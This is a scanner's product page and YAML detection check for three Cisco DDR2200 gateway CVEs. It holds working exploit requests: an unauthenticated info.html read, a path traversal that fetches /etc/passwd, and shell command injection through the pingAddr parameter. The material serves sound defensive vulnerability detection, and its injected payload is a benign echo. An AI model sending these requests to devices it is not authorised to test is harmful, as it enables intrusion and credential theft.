Cisco DDR2200 — 1 vulnerability check
noctis ships 1 vulnerability check for Cisco DDR2200, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Cisco DDR2200 series multiple vulnerabilities
| CVE | CVE-2017-11587, CVE-2017-11588, CVE-2017-11589 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match, sleep · highest QoD 97 |
| Feed | tests/vulnerabilities/cisco-ddr2200/cisco-ddr2200-multiple-vulnerabilities.yaml |
Detects the Cisco DDR2200 / DDR2201 ADSL2+ residential gateway web interface flaws. The feed requests /info.html without credentials and reports it when the page shows the serial number, model name and system password (missing access control). It then requests /download.conf?filename=/etc/passwd and reports a path traversal when a passwd entry for root comes back. Last, it injects `;echo NOCTIS<a-b>` (two random numbers, shell arithmetic) through the pingAddr parameter of /waitPingqry.cgi and reads /PingMsg.cmd; the finding fires only when the computed difference is returned, which proves the shell ran the command. The command injection probe is intrusive: it makes the gateway run a shell echo. The page body and the file content are never copied into a finding.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /info.html HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
info_markerforcisco-ddr2200-info-exposed→ finding QoD 75: Cisco DDR2200 info.html reachable without authentication - Raw TCP (TLS on HTTPS), sent verbatim:
GET /download.conf?filename=/etc/passwd HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
trav_markerforcisco-ddr2200-traversal→ finding QoD 75: Cisco DDR2200 download.conf path traversal - Raw TCP (TLS on HTTPS), sent verbatim:
GET /waitPingqry.cgi?showPingResult=1&pingAddr=;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}})) HTTP… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /PingMsg.cmd HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /waitPingqry.cgi?showPingResult=1&pingAddr=;echo%20NOCTIS%60expr%20{{p.a}}%20-%20{{p.… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /PingMsg.cmd HTTP/1.0 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- … and 2 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-11587
- https://nvd.nist.gov/vuln/detail/CVE-2017-11588
- https://nvd.nist.gov/vuln/detail/CVE-2017-11589
- http://seclists.org/fulldisclosure/2017/Jul/26
Feed source — tests/vulnerabilities/cisco-ddr2200/cisco-ddr2200-multiple-vulnerabilities.yaml
# Cisco DDR2200 / DDR2201 ADSL2+ residential gateways (micro_httpd web UI, port 8080 by default)
# CVE-2017-11587 (download.conf path traversal), CVE-2017-11588 (waitPingqry.cgi command
# injection), CVE-2017-11589 (no access control on info.html and other pages).
# Advisory: http://seclists.org/fulldisclosure/2017/Jul/26. Ported from the OpenVAS/Greenbone
# NASL 2017/gb_cisco_ddr2200_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.106963, GPL-2.0-only).
#
# The NASL only reads /info.html (CVE-2017-11589) behind a micro_httpd banner gate and a
# fixed port 8080. Better than the NASL:
# - the feed runs on whatever port nmap reports (no banner/port gate);
# - the path traversal (CVE-2017-11587) is proven with a read of /etc/passwd;
# - the command injection (CVE-2017-11588) is proven benignly: `echo NOCTIS<a-b>` with two
# random operands, read back from /PingMsg.cmd. The difference is never in the request,
# so a page that reflects pingAddr cannot match;
# - each finding names only the CVE its probe proves (step-level cves/cvss/severity).
# The info.html page and /etc/passwd contain secrets (system password, hashes), so the match
# keys on a reduced marker token, never on the raw response, and evidence withholds the body.
uid: b98e921c-3234-42d3-ae9c-2129baac1d3c
name: "Cisco DDR2200 series multiple vulnerabilities"
description: |
Detects the Cisco DDR2200 / DDR2201 ADSL2+ residential gateway web interface flaws.
The feed requests /info.html without credentials and reports it when the page shows the
serial number, model name and system password (missing access control). It then requests
/download.conf?filename=/etc/passwd and reports a path traversal when a passwd entry for
root comes back. Last, it injects `;echo NOCTIS<a-b>` (two random numbers, shell
arithmetic) through the pingAddr parameter of /waitPingqry.cgi and reads /PingMsg.cmd;
the finding fires only when the computed difference is returned, which proves the shell
ran the command. The command injection probe is intrusive: it makes the gateway run a
shell echo. The page body and the file content are never copied into a finding.
cves: [CVE-2017-11587, CVE-2017-11588, CVE-2017-11589]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [cisco, ddr2200, ddr2201, gateway, micro_httpd, auth-bypass, path-traversal, command-injection, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-11587"
- "https://nvd.nist.gov/vuln/detail/CVE-2017-11588"
- "https://nvd.nist.gov/vuln/detail/CVE-2017-11589"
- "http://seclists.org/fulldisclosure/2017/Jul/26"
- "OpenVAS/Greenbone NASL 2017/gb_cisco_ddr2200_mult_vuln.nasl (GPL-2.0-only)"
steps:
- id: init-info
action: set_var
var_name: info
var_value: {connected: false, banner: ""}
- id: init-trav
action: set_var
var_name: trav
var_value: {connected: false, banner: ""}
- id: init-ping1
action: set_var
var_name: ping1
var_value: {connected: false, banner: ""}
- id: init-ping2
action: set_var
var_name: ping2
var_value: {connected: false, banner: ""}
- id: build
action: script
store_as: p
code: |
let a = rand_int(800000, 999999);
let b = rand_int(100000, 299999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a - b) }
# --- CVE-2017-11589: info.html without authentication ---
- id: info-probe
action: tcp_connect
port: "{{port}}"
send: "GET /info.html HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: info
- id: info-reduce
action: script
store_as: info_marker
code: |
let b = if type_of(info.banner) == "string" { info.banner } else { "" };
if ereg("^HTTP/1\\.[01] 200", b) && stridx(b, "Serial Number :") >= 0
&& stridx(b, "System password") >= 0 && stridx(b, "Model Name") >= 0 {
"cisco-ddr2200-info-exposed"
} else { "none" }
- id: info-detect
action: match
source: info_marker
pattern: "cisco-ddr2200-info-exposed"
on_match:
finding:
title: "Cisco DDR2200 info.html reachable without authentication"
cves: [CVE-2017-11589]
cvss: 9.8
severity: critical
confidence_delta: 0.45
qod: 75
evidence: "GET /info.html at {{target_host}}:{{port}} returned HTTP 200 with the serial number, model name and system password fields without credentials (page body withheld)."
# --- CVE-2017-11587: download.conf path traversal ---
- id: trav-probe
action: tcp_connect
port: "{{port}}"
send: "GET /download.conf?filename=/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: trav
- id: trav-reduce
action: script
store_as: trav_marker
code: |
let b = if type_of(trav.banner) == "string" { trav.banner } else { "" };
if ereg("^HTTP/1\\.[01] 200", b) && ereg("root:[^:\r\n]*:0:0:", b) {
"cisco-ddr2200-traversal"
} else { "none" }
- id: trav-detect
action: match
source: trav_marker
pattern: "cisco-ddr2200-traversal"
on_match:
finding:
title: "Cisco DDR2200 download.conf path traversal"
cves: [CVE-2017-11587]
cvss: 7.5
severity: high
confidence_delta: 0.45
qod: 75
evidence: "GET /download.conf?filename=/etc/passwd at {{target_host}}:{{port}} returned a passwd entry for root (file content withheld)."
# --- CVE-2017-11588: waitPingqry.cgi command injection, output in /PingMsg.cmd ---
- id: ping-arith
action: tcp_connect
port: "{{port}}"
send: "GET /waitPingqry.cgi?showPingResult=1&pingAddr=;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}})) HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ping_req1
- id: ping-wait1
action: sleep
duration_ms: 2000
- id: ping-read1
action: tcp_connect
port: "{{port}}"
condition: "ping_req1.connected"
send: "GET /PingMsg.cmd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ping1
- id: ping-hit1
action: script
store_as: hit1
code: |
type_of(ping1.banner) == "string" && stridx(ping1.banner, p.marker) >= 0
- id: ping-expr
action: tcp_connect
port: "{{port}}"
condition: "hit1 == false"
send: "GET /waitPingqry.cgi?showPingResult=1&pingAddr=;echo%20NOCTIS%60expr%20{{p.a}}%20-%20{{p.b}}%60 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ping_req2
- id: ping-wait2
action: sleep
duration_ms: 2000
condition: "hit1 == false"
- id: ping-read2
action: tcp_connect
port: "{{port}}"
condition: "hit1 == false && ping_req2.connected"
send: "GET /PingMsg.cmd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ping2
- id: ping-hit2
action: script
store_as: hit2
code: |
hit1 || (type_of(ping2.banner) == "string" && stridx(ping2.banner, p.marker) >= 0)
# Reduce the reply to a token so the finding never carries the raw /PingMsg.cmd page.
- id: ping-reduce
action: script
store_as: ping_marker
code: |
if hit2 { "cisco-ddr2200-cmdi" } else { "none" }
- id: ping-detect1
action: match
source: ping_marker
pattern: "cisco-ddr2200-cmdi"
condition: "hit1 == true"
on_match:
finding:
title: "Cisco DDR2200 waitPingqry.cgi command injection"
cves: [CVE-2017-11588]
cvss: 9.8
severity: critical
confidence_delta: 0.65
qod: 97
evidence: "pingAddr=;echo NOCTIS$(({{p.a}}-{{p.b}})) sent to /waitPingqry.cgi at {{target_host}}:{{port}}; /PingMsg.cmd returned the shell-computed {{p.marker}}."
- id: ping-detect2
action: match
source: ping_marker
pattern: "cisco-ddr2200-cmdi"
condition: "hit1 == false && hit2 == true"
on_match:
finding:
title: "Cisco DDR2200 waitPingqry.cgi command injection"
cves: [CVE-2017-11588]
cvss: 9.8
severity: critical
confidence_delta: 0.65
qod: 97
evidence: "pingAddr=;echo NOCTIS`expr {{p.a}} - {{p.b}}` sent to /waitPingqry.cgi at {{target_host}}:{{port}}; /PingMsg.cmd returned the shell-computed {{p.marker}}."